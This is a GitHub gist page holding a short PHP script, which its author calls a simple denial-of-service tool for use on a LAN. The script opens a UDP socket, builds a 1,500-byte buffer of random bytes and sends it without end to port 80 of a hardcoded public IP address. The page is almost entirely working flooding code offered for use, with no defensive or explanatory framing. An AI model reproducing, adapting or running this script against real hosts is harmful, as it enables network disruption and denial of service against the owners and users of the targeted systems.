Created
June 18, 2013 20:11
-
-
Save avraampiperidis/5808867 to your computer and use it in GitHub Desktop.
a simple DoS php script.usefull only in lan.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$ip = "46.176.3.162"; // Fetch IP via GET | |
$socket = socket_create(AF_INET,SOCK_DGRAM,SOL_UDP); // Create sockets | |
if(!$socket) { | |
die("Unable to create sockets."); | |
} // Unable to create sockets | |
$data = ""; | |
for($i = 0;$i < 1500; $i++){$data.= chr(rand(0,255));} // Generate random data with 1500 bytes length (limit) | |
while(true) //Infinite loop | |
{ | |
if(!socket_sendto($socket,$data,strlen($data),0,$ip,80)){die("Unable to send sockets.");} | |
echo(" |.| "); // We must echo something | |
} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment